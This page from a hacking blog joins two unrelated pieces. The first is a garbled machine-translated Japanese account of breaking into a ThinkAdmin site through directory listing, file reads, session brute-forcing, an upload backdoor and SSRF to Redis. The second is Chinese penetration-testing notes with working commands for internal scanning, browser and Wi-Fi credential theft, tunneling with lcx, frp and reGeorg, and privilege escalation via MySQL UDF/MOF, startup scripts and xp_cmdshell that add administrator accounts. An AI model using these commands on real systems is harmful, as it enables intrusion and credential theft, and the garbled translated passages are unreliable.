Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863291128

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x01 SinkAdmin Historical脆弱性レビュー

相手のアプリの背景アドレスはThinkAdminであることがわかっているため、SinkAdminの歴史的な抜け穴を確認する必要があります。

CVE-2020-25540

https://github.com/zoujingli/thinkadmin/issues/244

次のようにPOCを使用してください

https://github.com/schira4396/cve-2020-25540

列ディレクトリ

post/?s=admin/api.update/noderules=['runtime/']ファイル読み取り

/?s=admin/api.update/get/encode/34392q302x2r1b37382p382x2r1b1a1a1b1a1a1a1b363932382x312t1bエッセンスは、おそらくサードパーティをサーバーのウェブファイルを比較する機能を可能にする機能を設計するためにおそらくエッセンスです。その結果、ディレクトリトラバーサルのために任意のディレクトリが読み取られます。特定の制限はありますが、害は依然として非常に非常に大きいため、この機能はその後の更新後に棚から削除されます。

また、CVEなしでは敏lialialiationizationの脆弱性もあります

https://github.com/zoujingli/thinkadmin/issues/238

2つのインターフェイスがあり、そのうちの1つは上記のディレクトリ関数のルールパラメーターです。

post/?s=admin/api.update/noderules=payload他の場所はそうです

post/?s=wechat/api.push/indexreceive=payload

0x02最初のソースコード

公式はソースコードの古いバージョンのダウンロードを提供しなくなったため、すぐに別の場所に行き、ThinkPhp5.1.38を使用してソースコードの古いバージョンを見つけました。検出後、次の脆弱性があります。

アプリケーション/wechat/controller/api/push.php

2つの脱必要度のうち1つだけが修正されました。

图片

Application/Admin/Controller/API/update.php

列のディレクトリと任意のファイルを読むためのルートはわずかに変更されており、列のディレクトリはルールパラメーターを渡すことで制御できないため、Web Rootディレクトリのみをリストできます。ただし、任意のファイルの読み取りにより、さまざまな制限が削除されます。つまり、config/database.phpを直接読み取ってデータベース構成を取得できます。

图片

データベース構成を取得した後、データベースを外部から接続できる場合、より深く使用できます。

Application/Admin/Controller/API/Plugs.php

图片

これは、ThinkAdminに付属するファイルアップロードインターフェイスです。設計された多くのCMSと同様に、そのホワイトリストStorage_local_extsはデータベースまたはシステムの背景で構成できます。通常、これを使用してGetShell操作を実行できますが、ホワイトリストにPHPを直接追加すると、4番目のIFを渡すことができず、バックグラウンドのシステム構成にもインターセプトがあります。

Application/Admin/Controller/config.php

图片

データベースを直接操作すると、バックグラウンド構成の制限をバイパスできますが、upload()制限をバイパスすることはできません。

明らかに、PHPのフィルタリングでは十分ではありません。相手がWindowsサーバーの場合でも、PHP: $データがオプションです。相手がApacheであり、間違った構成を行った場合、PHP3/PHP4/PHP5/PHP7/PHT/PHT/PHTML/PHARなどの解析サフィックスもあります。

0x03秒ソースコード

ただし、最初のソースコードは、ThinkAdminアーキテクチャに精通していることを除いて役に立ちません。ターゲットはthinkphp6.0.3であり、脆弱性は最初のものとは異なるため、脱介入はありません。ただし、まだ列のディレクトリとファイルの測定値があり、歴史的な脆弱性とまったく同じです。

App/Admin/Controller/API/update.php

图片

しかし、ディレクトリをリスティングするとき、私は問題に遭遇しました。

图片

これは、Web Rootディレクトリをリストしているためです。相手のプロジェクトが巨大である場合、またはフォルダーに許可がない場合、エラーが発生します。現時点では、主に./Appと./Runtime、ターゲットを絞った方法でディレクトリをリストする必要があります。

图片

图片

./Appを読んで、コントローラーパスを取得します。元のThinkAdminでは、多くのブレークスルーはありませんが、これらのプログラムの多くは2位にオープンしています。元のThinkAdminにないコントローラーと比較して、脆弱性を直接監査することができます。監査の脆弱性は、任意のファイルで読む必要があります。詳細については、前のものを確認してください。要するに、CVE-2020-25540では、ソースコードの取得に相当します。

このプログラムは、SQLインジェクションを簡単に見つけることができます。

/app/admin/controller/api/main.php

图片

图片

ただし、パスワードを呼び出した後、ログインがOTP検証に必要であることがわかったため、監査を続けることができませんでした。

/app/admin/controller/posting.php

图片

非常に愚かなコマンドスプライシング、同じ場所に3つの場所がありますが、すべて背景の権限が必要です。最終的に、exec()がdisabled_functionsであることがわかったため、使用できません。

/app/admin/controller/api/upload.php

图片

最後の場所は、友人のリマインダーによって発見されました。一見、これはSinkAdminによってもたらされたアップロードではありませんか?私はそれを利用するために特定の環境が必要であることを前に分析しました。そのため、私はそれを直接スキップしました。その結果、この名前を完全に制御できる追加のXkeyパラメーターがあります。これがバックドアであると疑うのは難しいです。最終的に、GetShellはこのようなものです。

图片

しかし、このアップロードインターフェイスにはバックグラウンド許可も必要です。どうすればよいですか?この時点で、それはshinkphpの変わり目であり、頻繁に./runtimeで使用されます。

ファイルのRuntime/admin/log/single_error.logを読むことは、一連のセッションエラーを記録することを簡単に見つけることができます。

图片

また、このプログラムが元のPHPセッションを使用していることがわかり、/TMPまたは/var/lib/php/sessions/ではなく、ランタイム/セッションに配置されています。それは簡単です。列ディレクトリを直接使用して、すべてのセッションをリストし、爆破します。

图片

このようにして、背景を直接入力してOTP制限をバイパスできます。次に、Xkey Backdoor Getshellを使用します。

图片

0x04代替心

裏口がない場合はどうなりますか?このシステムはLinux+Nginxであり、SinkAdminの元のアップロード制限をバイパスすることはできません。

しかし、後続のコード監査では、グラフベッドサーバーがあることがわかりました。

图片

このGetShell Server(a)は、file_pathsパラメーターを使用してグラフベッドサーバー(b)のインターフェイスにアクセスできます。目的は、サーバーBがサーバーA上の写真を順番にダウンロードし、バックアップできるようにすることです。なぜ私はこれを知っているのですか?

サーバーBはさらに穴があふれているため、このインターフェイスに直接アクセスすることでわかります。

图片

ソースコードはデバッグのためにリークするだけでなく、このコマンドのスプライシングが裸であまりにも裸であり、シェルとしても使用できます。

图片

したがって、サーバーAを倒さずに、任意のファイルの読み取りおよびコード監査を介してサーバーBを完全に倒すことができます。

サーバーBを取得することの使用は何ですか?サーバーAはカールを使用してサーバーBを要求します。この場合、サーバーBのコードを改ざんし、インターフェイスを302に変更してジャンプしてからGopherに変更し、サーバーAのローカルポートAを押すことができます。

FPM 9000ポートと6379 RedisポートがサーバーAにローカルに存在する場合、SSRF GetShellをこの方法で実行できます。このケースは、多くの場合、DiscuzのSSRF脆弱性で悪用される可能性があります。

今回は9000 fpmはありませんが、Redisがあります。 Redisキーとポートはconfig/cache.phpにも保存されており、Webディレクトリには777の権限があり、GopherがローカルRedisにヒットする条件を完全に満たしています。

もちろん、私は最終的には試していませんでしたが、理論には問題はありませんでした。

元のリンクから転載:https://mp.weixin.qq.com/s/buhjuqh3lyaq1smy2xkl3g

外网进内网通常就是通过web漏洞拿取shell

内网的很大一部分信息收集是围绕网络拓扑图展开的。可以社工运维或者google找一下。

内网扩散信息收集

概述

  • 内网信息收集
    • 内网网端信息:对内网进行拓扑、分区
    • 内网大小
  • 内网核心业务信息
    • oa系统、邮件服务器、监控系统....
  • 其他
    • Windows、linux主机信息收集

内网信息收集做的越好,打的越快

  • 常用方法
    1. 主动扫描。常用工具: nmap,netdiscover,nc,masscan,自写脚本等
    2. 常用端口和服务探测
    3. 内网拓扑架构分析。如dmz,测试网等
    4. 命令收集
    5. 本机信息

nmap的流量很大。因为nmap用了很多方式进行扫描,准确率高的同时流量较大,外网可以用
主动扫描留下的痕迹很多且较难清楚。被动扫描需要的时间较长。视情况扫描

一般都是先扫80端口等。因为外网网站可能做的很好,内网网站烂的爆,sql注入、xss等web漏洞一把一把的。

主动扫描

  1. ping命令扫描内网中的存活主机
    • 优点:方便,一般不会引起流量检测设备的报警
    • 缺点:扫描速度慢,目标开了防火墙会导致结果不准
  2. nmap扫描存活主机(icmp扫描)
    • nmap -sn -PE -n -v -oN 1.txt 目标ip
    • 参数: -sn 不进行端口扫描;-PE 进行icmp echo扫描;-n 不进行反向解析;-v 输出调试信息;-oN输出
  3. nmap 扫描存活主机(arp扫描)
    • nmap -sn -PR -n -v 目标IP
    • 参数:-PR代表arp扫描,在内网中arp扫描速度最快且准确率高
  4. 使用netdiscover扫描(arp扫描工具,既可以主动扫描也可以被动嗅探)
    • netdiscover -i eth0 -r 目标IP
    • m2nmhdcx3co15216.png
    • 参数说明:-i:指定一个接口;-r∶指定扫描范围
      • 注意: netdiscover时间越久越精确,可以发现某一台主机在一段时间内介入了那些网段,从而发现其他新的网段地址
  5. 用nbtscan工具进行快速扫描存活PC端,同时获得NETBIOS(windows往上输入输出服务,139端口)
    • nbtscan -r 目标IP
    • a2lyssh3o2e15217.png

端口和服务扫描

  1. 探测目标开放端口
    • nmap探测:nmap -Pn -n 目标IP(禁ping扫描)
    • masscan扫描:masscan -p 端口号 目标IP地址 --rate=10000 #用10kpps速度扫描端口
    • jc0ivxquap015219.png
  2. 探测目标操作系统
    • 使用NSE脚本: nmap --script smb-os-discovery.nse -p 445 目标IP地址
      • 其中: smb-os-discovery.nse脚本通过smb来探测操作系统版本、计算机名、工作组名、域名等等信息。--script指定脚本
      • a1wrqsc1i4415221.png
    • 使用nmap -O探测操作系统版本
      nmap -O 目标IP
  3. 扫描主机存在的CVE漏洞
    • nmap --script=vuln 目标IP

内网常用命令

命令说明
net user本机用户列表
net view查询同一域内的机器列表
net localgroup administrators查看本机管理员
net user /domain查询域用户
net group /domain查询域里面的工作组
net group "domain admins”/domain查询域管理员用户组
net localgroup administrators /domain登陆本机的域管理员
net localgroup administrators workgroup \user /add域用户添加到本机
net group "Domain controllers"查看域控

/domain为域渗透参数。域管理有一台权限很高的机器,拿下之后能控制整个域的服务器,称为域控。

  • dsquery 域命令(后面再写域渗透)
命令作用
dsquery computer domainroot -limit 65535 && net group "domain computers"/domain列出域中内所有机器名
dsquery user domainroot -limit 65535 && net user /domain列出该域内所有用户名
dsquery subnet列出该域内网段划分
dsquery group && net group /domain列出该域内分组
dsquery ou列出该域内组织单位
dsquery server && net time /domain列出该域内控制器

windows主机信息收集

这里是在拿下最高权限之后的信息收集。

  • 主要收集内容
  1. 系统管理员密码(hash->明文)
  2. 其他用户的session,3389,ipc连接记录以及各用户回收站信息收集
  3. 浏览器密码和cookies的获取
  4. windows无线密码获取
  5. 数据库密码获取
  6. host文件,dns缓存信息
  7. 杀毒软件,补丁,进程,网络代理信息
  8. 共享文件夹,web服务器配置文件等
  9. 计划任务,账号密码策略,锁定策略

windows杂七杂八的信息收集

  • 工具:mimikatz、wce、getpass、quarkspwdump、reg-sam、pwdump7等
  • cmdkey用于保存用户名和密码的凭证。
    • cmdkey /list查看凭据位置
    • netpass.exe获取密码
  • 回收站信息获取
    • 进入回收站文件夹cd C:$RECYCLE.BIN(该文件夹为隐藏文件夹,dir /ah查看内容,a指定属性h表示隐藏)
  • 获取无线密码
    • netsh wlan export profile interface=WLAN key=clear folder=C:\
  • 获取浏览器的cookie和存储密码(chrome)
    • %localappdata%\google\chrome\USERDATA\default\cookies%localappdata%\googlelchrome\USERDATA\default\Login
    • Datachrome的用户信息保存在本地文件为sqlite数据库格式
    • 使用mimikatz读取内容:
      mimikatz.exe privilege:debug log "dpapi:chrome /in:%localappdata%google\chrome\USERDATA\default\cookies /unprotect"

msf下的windows信息收集

模块使用
post/windows/gather/forensics/enum_drives获取目标主机的磁盘分区情况
post/windows/gather/checkvm判断目标主机是否为虚拟机
post/windows/gather/enum_services查看开启的服务
post/windows/gather/enum_applications查看安装的应用
post/windows/gather/enum_shares查看共享
post/windows/gather/dumplinks查看目标主机最近的操作
post/windows/gather/enum_patches查看补丁信息
scraper导出多个信息

use or run模块,设置参数后expoilt

linux信息收集

linux信息收集内容比起windows少很多

  • history命令
    • 用于显示历史执行命令。能显示当前用户在本地计算机中执行的1000条命令。查看更多在/etc/profile文件中自定义HISTSIZE的变量值。
    • 使用history -c命令会清空所有命令的历史记录。
    • 每个用户的history不同
  • last命令
    • 用于查看系统所有近期登录记录。
    • 执行last命令时,会读取/var/log/wtmp的文件。
      dl0zxtxw45515227.png
    • 用户名 终端位置 登录IP或者内核 开始时间 结束时间
    • 如果是系统漏洞提权,不属于登录,无记录
  • arp -vn
    • 聚类检查是否有超同组业务外的arp地址
    • mac地址对应ip固定,mac不对应ip则为arp欺骗
  • /etc/hosts文件
    • 存储域名/主机名到ip映射关系

msf下的linux收集

模块使用
post/linux/gather/checkvm判断目标主机是否为虚拟机
post/linux/gather/enum_configs查看配置信息
post/linux/gather/enum_network查看网络
post/linux/gather/enum_protections查看共享
post/linux/gather/enum_system查看系统和用户信息
post/linux/gather/enum_users_histroy查看目标主机最近的操作
post/linux/gather/hashdump获取linux的hash

但是我仍要强调,被动收集很重要,内网被动收集要安全很多,但是周期很长。主动一分,就危险一分

收集内容总结

网卡信息、arp缓存、路由缓存、网站配置文件、数据库、访问日志、浏览器历史记录、netstat、hosts文件、history、hash、明文密码、网站配置账密、wifi、cmdkey

内网转发

  • 内网转发的目的

理论上通过网络连接的计算机都是可以互相访问的,但是因为技术原因没有实现。如局域网中某计算机仅开放web服务,则只能内网使用,外网无法直接访问。要让外网用户直接访问局域网服务,必须进行内网转发等操作
xho3lpxqxrf15228.png

  • 内网转发原理
    通过服务器进行中转,将内部的端口映射到公网IP上,或者将内网端口转发至外部服务器
  • 内网转发的三种形式
  1. 端口转发

用于目标机器对某一端口的访问进行了限制。可以将本机的端口或者是本机可以访问到的任意主机的端口转发到任意一台你需要访问的公网IP上

  1. 端口映射

将一个内网无法访问的端口映射到公网的某个端口,进而进行攻击。比如:3389端口

  1. 代理转发

主要用于在目标机器上做跳板,进而可以对内网进行攻击

  • 四种基本的网络情况
    • 攻击者有独立外网IP,拿到shell的服务器也有独立的外网IP
    • 攻击者有独立外网IP,拿到shell的服务器在内网,只有几个映射端口
    • 攻击者在内网,服务器也在内网只有几个映射端口
    • 攻击者在内网,服务器有独立外网IP

四种情况有不同拿下服务器的方式

端口转发

  • 原理
    端口转发是转发一个网络端口一个网络节点到另一个网络节点的行为。使一个外部用户从外部经过一个被激活的NAT路由器到达一个在私有内部IP地址(局域网内部)上的一个端口。
    简单地说︰端口转发就是将一个端口(这个端口可以本机的端口,也可以是本机可以访问到的任意主机的端口)转发到任意一台可以访问到的IP上,通常这个IP是公网ip
  • 端口转发场景∶
    外网主机A已经可以任意连接内网主机B上的端口,但是无法访问内网主机C上的端口
    此时可以将C主机的端口转发到B主机的端口,那么外网主机A访问B主机的某某端口就相当于访问了C主机的某某端口
    o1eftkt4edl15230.png

端口转发工具

lcx

lcx是一个居于socket套接字实现的端口转发工具,有windows和linux两个版本,windows叫lcx.exe,linux叫portmap
一个正常的socket隧道必须具备两端:服务器端和客户端

windows下:
  • 转发端口:lcx.exe -slave 公网IP 端口 内网IP 端口
  • 监听端口:lcx.exe -listen 转发端口,本机任意没有没有被占用的端口
  • 映射端口:lcx.exe -tran 映射端口号 ip 目标端口
  • 本地端口映射:如果目标服务器由于防火墙的限制,部分端口的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口
    lcx.exe -tran 映射端口号 目标ip 目标端口
  • 内网端口转发:如下规则时,主机不能直接访问内网,这时就需要web服务器当跳板,也就是代理来使攻击机访问到内网主机
    gl04tutgv4d15231.png
    基本命令:
    ·转发端口lcx.exe -slave 公网ip 端口 内网ip 端口
    ·监听端口lcx.exe -listen 转发端口 本机任意没有被占用端口

windows端口转发实例
环境︰内网主机不能访问外网,但是可以访问同网段的内网机器,同时80端口只能本地访问,但是8080端口对外开放。

步骤一:被控服务器的80端口转发到本地的8080端口 lcx -tran 8080 127.0.0.1 80
步骤二∶在内网被控服务器上连接内网能够对外访问的服务器 lcx -slave 192.168.56.1 4444 192.168.56.101 8080
步骤三∶在能够对外访问的内网机器上监听端口 lcx -listen 4444 12345
步骤四∶外网机器访问192.168.56.1的12345端口也就是从服务器12345->服务器4444->外网8080->内网80
在外网192.168.64.230访问192.168.64.103:12345

linux下:

用法: ./portmap -m method [-h1 host1] -p1 port1 [-h2 host2] -p2 port2 [-v] [-log filename]
v:version

-m:指定method action参数
method=1:监听port1连接至主机2的port2(端口映射)
method=2:监听Port1转发至port2
method=3:连接主机1对应的端口和主机2对应的端口(端口转发)

如:./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777//监听来自6666端口的请求并转发至7777

frp

  • FRP(fast reverse proxy)是用go语言开发的反向代理应用,可以进行内网穿透
  • frp支持tcp\udp\http\https

frp用处

  1. 利用处于内网防火墙的机器,对外网提供http\https\tcp\udp服务
  2. 对于http,https服务支持基于域名的虚拟主机,支持自定义域名,是多个域名共用一个80端口

下载后frp文件内frps,frps.ini为服务端程序和配置文件,frpc,frpc.ini是客户端程序及配置文件

  • 服务端设置

修改frp.ini
文件格式:

[common]
bind_port = 7000 #frp服务器监听㐰
dashboard_port = 7500 #web后台监听端口
dashboard_user =admin #web后台用户名及密码
dashboard_pwd = admin
token = 123456 #客户端和服务器的连接口令

运行frps服务器端 ./frps -c frps.ini #-c意思是加载配置文件
访问x.x.x.x:7500,使用自己设置的用户名和密码登录

  • 客户端设置

修改frpc.ini文件

[common]
server_addr = 192.168.152.217
#服务端IP地址
server_port = 7000
#服务器端口
token = 123456
#服务器上设置的连接口令
[http]
#自定义规则,[xxx]表示规则名
type = tcp
#type:转发的协议类型
local_ip = 127.0.0.1
local_port = 3389
#本地应用的端口号
remote_port = 7001
#这条规则在服务端开放的端口号

配置完成frp.ini后,cmd运行frpc(和服务端一样-c指定配置文件)
在局域网外客户端连接服务端的remote_port端口

该工具可跨平台,也就是windows exe程序连接linux
上述操作也就相当于listen 7000转到7001然后连接

metasploit portfwd

  • 简介
    一款内置于meterpreter shell中的工具,直接访问攻击系统无法访问的机器。在可以访问攻击机和靶机的受损主机上运行此命令,可以通过本机转发TCP连接,成为一个支点。

选项
-L∶要监听的本地主机(可选).
-l : 要监听的本地端口,与此端口的连接将被转发到远程系统·
-p∶要连接的远程端口,TCP连接将转发到的端口
-r∶要连接的远程主机的IP地址
参数
Add :该参数用于创建转发
portfwd add -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
Delete :这将从转发端口列表中删除先前的条目.
portfwd delete -I 本地监听端口号 -p 目标端口号 -r 目标机IP地址
List :列出当前转发的所有端口
portfwd list
Flush :这将删除转发列表中的所有端口

这个不太稳定,不如frp,lcx不怎么用了。

边界代理

代理类别:HTTP代理、socks代理、telnet代理、ssl代理
代理工具:EarthWorm、reGeorg(http代理)、proxifier(win)、sockscap64(win)、proxychains(linux)

内网通过代理连接外部网络为正向代理,外网通过代理连接内网为反向代理。
负载均衡服务器:将用户的请求分发到空闲服务器上。

  • socks代理
    当通过代理服务器访问一个网站时,socks服务器起到了一个中间人的身份,分别与两方通信然后将结果告知另一方。只要配置好socks代理后无需指定被访问目标
    socks和http代理走的是tcp流量,意思是udp的协议不能用这两种代理
  • 代理和端口转发的异同:
代理端口转发
需要socks协议支持无需协议支持
一对多,访问网络一对一,帮助他人访问某端口

socks代理可以理解为lcx端口转发,他在服务端监听一个服务端口,有连接请求时会从socks协议中解析出访问目标url的目标端口

意思就是,有代理就不需要他娘的端口转发了,还指定端口转来转去脑子都转晕了,代理不需要那么多花里胡哨的。

proxychains

  • proxychains是一个开源代理工具,可以在linux下全局代理。proxychains通过一个用户定义的代理列表强制连接指定的应用程序,支持http\socks4\socks5类型。
  • 使用
  1. 在使用工具前要对工具进行配置,配置文件:/etc/proxychains.conf
    删除dynamic_chain的注释
    底部添加代理服务器
    proxychains 软件名以代理启动任意软件

regeorg工具

  • regeorg主要是把内网服务器端口通过http/https隧道转发至本机,形成回路
  • 用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口
  • 利用webshell建立一个socks代理进行内网穿透,则服务器必须支持aspx\php\jsp中的一种
  • regeorg分为服务端和客户端。服务端有php\aspx\jsp\node.js等多种,客户端为python,所以用的时候文件里面找对应脚本

regeorg使用

和proxychains结合使用

  1. pip install安装
  2. 假设服务器是php版本,将regeorg里的php上传到服务器,直接访问显示"georg says,'all seems fine'",为正常运行
    fpdys5k1usv15233.png
  1. 终端下运行:python reGeorgSocksProxy.py -u 靶机reGeorg脚本地址 -p 本地监听端口
  2. 再起一个终端修改proxychains.conf配置文件,删除dynamic_chain的注释,在ProxyList最后加一行socks5 127.0.0.1 本地监听端口,并把其他的注释
    cg5xbx11k3c15239.png

代理就配置好了

  1. 使用proxychains 命令,流量会自动从配置文件端口经过(python跑的脚本终端别关)

但是在msf外配置的代理,msf内部流量是不会走代理过的

msf route

msf框架中自带路由转发功能,在已经获取meterpreter shell的基础上添加一条去往内网的路由
avecflddth315242.png

路由添加: run autoroute -s 内网网端
run autoroute -p 查看路由添加情况

proxifiler

proxifiler为windows客户端代理工具,socks5客户端,可以让不支持通过代理服务器工作的程序通过https或socks5代理或代理链

  • 支持socks4\socks5\http\tcp\udp。有gui
    使用:profil配置代理ip和端口。proxification rules设置代理规则,不需要代理的设为direct模式

提权可以有好几种,本篇主要讲利用系统漏洞提权(最常规)和利用数据库提权。数据库这种利用第三方提权的方式通常比较少见

windows权限提升

当我们getshell一个网站后,大部分情况下我们的权限是非常低的,这个时候提权可以让我们如拥有修改文件之类的强大能力。

一般来说,提权通常是改变用户

windows: user -> system user->administrator
linux: user->root

  • 提权的方式通常有:
  • 系统漏洞提权
  • 数据库提权
  • 第三方软件/服务提权
  • 系统配置错误提权

如果目的是download服务器文件或者拿下webshell等没必要提权,如果是为了做肉鸡或者上远控

系统漏洞提权

常规流程:获得目标机shell->查看目标机补丁记录->判断没打的补丁,寻找EXP->利用exp提权

  1. cmd中systeminfo查看补丁安装情况
  2. 使用补丁在线查询工具:blog.neargle.com/win-powerup-exp-index/#
  3. 将systeminfo命令得到的补丁信息复制进去,就会给出可用的exp编号
  4. github作者整合了大部分exp:github.com/SecWiki/windows-kernel-exploits(windows-kernel就是代表windows内核)
  5. 将exp上传至目标机
  6. 每个EXP的使用方法不同。如ms14-058上传了exp到靶机后在cmd使用exp.exe "命令"就能以system权限执行命令。其他exp的使用方法很可能不同
  7. 获得了高权限在当前网络环境切忌开3389去连,可以用msfvenom生成木马维权,或者创建新用户加入管理员组。不过都会被发现。。
  8. 靶机上在运行msf木马时要用高权限运行,否则反弹回来的shell也是低权限。所以要用之前传上去的exp运行msf木马

windows数据库提权

这种提权方式已经用的很少了

mysql数据库提权

mysql提权的必要条件:获取Mysql数据库最高权限root的账号密码

获取方法:

  1. 查看数据库配置文件
  2. 下载mysql安装路径下的数据文件并破解
  3. 安装路径下的data存放的是数据库的信息,root的账号密码存放在mysql下的user表中,完整路径=安装路径+data+mysql+user.myd
  4. 暴力破解

mysql的三种提权方式:

  1. udf提权
  2. mof提权
  3. 启动项提权

MOF提权

  • 原理:利用了c:/windows/system32/wbem/mof/目录下的nullevt.mof文件。该文件每几秒会执行一次,向其中写入cmd命令使其被执行
  • 利用条件
  • windows<= 2003
  • 对c:/windows/system32/wbem/mof/目录有读写权限
  • 可以时间写mof文件到相应目录,如:数据库允许外联,有webshell,有可写sql注入

因为需要有写文件权限(into outfile),所以可用到的环境很少

  • 提权方法
  1. 上传mof文件
  2. 执行load_file和into dumpfile将文件导出到指定位置
    select load_file('mof目标路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

nullevt.mof文件的内容
nn0wxyczm5r15246.png

UDF提权

  • 原理:UDF(user defined function)用户自定义函数通过添加新函数,对mysql服务器进行功能扩充,将mysql账号转化为system权限。
  • 方式:通过root权限导出udf.dll到系统目录下,使udf.dell调用cmd
  • 利用条件:
  • windows 2000\XP\2003
  • 账号对mysql有插入和删除权限
  • 对应目录有写权限

mysql版本对应的udf.dll导出路径:

数据库版本操作系统udf.dll导出路径
<5.0所有操作系统路径随意
<=5.1windows2003c:\windows\system32\udf.dll
<=5.1windows2000c:\winnt\system32\udf.dll
>5.1所有操作系统mysql安装目录下的lib\plugin\udf.dll

mysql安装目录查询语句: select @@basedir

  • udf 提权步骤
  • select user();\version();\basedir()判断数据库版本、用户和安装目录
  • 如果\lib\plugin目录不存在,可以利用NTFS ADS流创建文件夹
    select 'xxx' into dumpfile 'mysql目录\\lib:$INDEX_ALLOCATION';
    select 'xxx' into dumpfile 'mysql目录\\lib\plugin:$INDEX_ALLOCATION';
    或者是webshell直接创建
  • 导入udf.dll文件。该文件在sqlmap/data/udf/mysql/目录下有,只是该dll文件是通过异或编码的,可以使用sqlmap/extra/cloak.py解密。
  • 上传udf.dll到指定目录。有webshell就直接传,传不了就select load_file()。
  • 创建自定义函数。create function **sys_eval** returns string soname 'udf.dll';
    必须要创建.dll文件中存在的函数才行,可以用十六进制编辑器打开udf.dll文件慢慢找函数,也可以用dumpbin.exe查看。soname指向动态链接库
  • 执行高权限指令:select sys_eval('whoami');
    将该用户提升为管理员权限:select sys_eval("net localgroup administrators ichunqiu /add")
  • 清除痕迹
    drop function sys_eval;
    delete from mysql.func where name="sys_eval";

启动项提权

  • 原理:windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。将一段vbs脚本导入开机启动项,如果管理员重启了服务器,那么就会自动调用,并执行其中的用户添加及提权命令
  • 利用条件:
  • 目标目录可读写
  • 调用的cmd要有足够权限
  • 重启服务器可以利用导致服务器蓝屏的exp,或者ddos
  • 提权方式
  • 直接将vbs提权脚本上传到启动项目录下
  • sql命令创建添加vbs脚本

vbs提权脚本:

set wsnetwork=CreateObject("WSCRIPT.NETWORK")
os="WinNT://"&wsnetwork.ComputerName
Set ob=GetObject(os) #得到adsi接口
Set oe=GetObject(os&"/Administrators,group") #用户组
Set od=ob.Create("user","name") #name为用户名
od.SetPassword "passwd" #passwd为密码
od.SetInfo #保存
Set of=GetObject(os&"/name",user) #得到用户
oe.add os&"/name"
  • sql命令创建
  • 连接到对方MySQL服务器,进入后查看数据库中有哪些数据表
  • 命令:show tables
  • 默认的情况下,test中没有任何表的存在。
  • 进入test数据库,并创建一个新的表:
    create table a(cmd text)//创建了一个新的表,名为a,表中只存放了一个字段,字段名为cmd,为text文本
  • 在表中插入内容,用这三条命令来建立一个VBS的脚本程序:

insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user name passwd /add"",0)");
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators name /add"",0)");

  1. 输出表为一个VBS的脚本文件
    select * from a into dumpfile "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动1.vbs";
  2. 利用其他手段重启电脑

sql server提权

  • 利用条件
  • 必须获得sa的账号密码或者与sa相同给权限的账号密码,且mssql没有被降权
  • 能执行sql语句。如webshell或者1433端口连接

在windows,sa账号通常是被降权为db-owner的。而不是sysadmin

  • 获取sa号密的方法:
  1. webshell或源码获取。一般在网站的配置文件中存了明文账号密码,常用配置文件如:conn.aspx、config.aspx、config.php等
    一般格式如:server=localhost;UID=sa;PWD=passwd;database=db
  2. 源码泄露
  3. 嗅探。在局域网中用Cain等工具进行arp嗅探的时候可以抓取到1433端口的数据库明文登录
  4. 暴力破解

xp_cmdshell提权

  • xp_cmdshell:
  • 存储过程:是存储在SQLServer中预先定义好的"sql语言集合",使用T-SQL语言编写好的脚本共同组成的集合体为存储过程
  • xp_cmdshell脚本:扩展存储过程的脚本,是危险性最高的脚本,可以执行操作系统的任何指令
  • xp_cmdshell在mssql2000中是默认开启的,在mssql2005后的版本中默认禁止。如果用户具有sa权限可以用sp_configure重新开启

xp_cmdshell提权过程:
(2005以前的版本):

  1. 连接数据库:
    select ame from master.dbo.sysdatabases获取所有的数据库名
  2. 查看当前版本select @@version
    判断当前是否为saselect is_srvrolemember('sysadmin')
    判断是否有public权限select is_srvrolemember('public')
    判断是否有读写文件权限select is_srvrolemember('db_owner')
  3. 查看数据库中是否有xp_cmdshell扩展存储插件,return 1则有
    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';

(2005后的版本):

  1. 开启xp_cmdshell

```exec sp_configure 'show advance options',1;//允许修改高级参数
reconfigure;
exec sp_configure 'xp_cmshell',1;//打开xp_cmdshell扩展
reconfigure;

2. xp_cmdshell执行命令

```exec master..xp_cmdshell 'net user name passwd /add'//添加用户name,密码passwd
exec master..xp_cmdshell 'net localgroup administrators name /add'//添加name到管理员组

windows bypass uac

uac(user acount control)可以阻止未授权的应用程序自动安装,并防止无意中更改系统设置

uac的三种设置要求:

  1. 始终通知
  2. 仅在系统试图更改我的计算机时通知(Uac默认设置,第三方使用高级别权限时会提示本地用户)
  3. 从不提示(用户为系统管理员时所有程序都会以最高权限运行)

相当于普通用户打开cmd和以管理员运行cmd的差别,普通用户以管理员身份开cmd就会受到uac的限制,输入管理员密码

msf bypass uac

前提:已经获得了目标机器的meterpreter shell,当前权限为普通用户

  • bypassuac模块通过进程注入,利用受信任的发布者证书绕过windows UAC,它将为我们生成另一个关闭UAC的shell
  • bypassuac_injection模块直接运行在内存的反射DLL中,不会接触目标机的硬盘,从而降低了被杀毒软件检测出来的概率
  • bypassuac_eventwr模块通过在当前用户配置单元下劫持注册表中的特殊键,在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC

msf exploit:>use exploit/windows/local/bypassuac
然后根据msf exp对reverse_tcp(bind_tcp)、lhost等进行参数设置

利用系统漏洞bypass uac

CVE编号:CVE-2019-1388,windwos证书对话框特权提升漏洞。补丁号KB4524235 KB4525233

  • 漏洞原理:此漏洞是因为UAC机制设定不严导致的。默认wdnows会在一个单独的桌面secure desktop上显示所有UAC提示。这些提示是由consent.exe的可执行文件生成的,该文件以NT AUTHORITY\SYSTEM身份运行,并有system的完整权限

如果在运行一个可执行文件时触发了UAC,在点击 展示证书发行者的详细信息 之后,证书里的Issued by字段,这个字段对应的值就是OID。证书会解析OID的值,windows没有禁用OID处的超链接,就可以利用提权

要能连3389

Linux提权

linux提权相对于windows的手法较单一,多了一个比较重要的suid提权。有很多时候提权并不是必须进行的步骤

linux系统提权

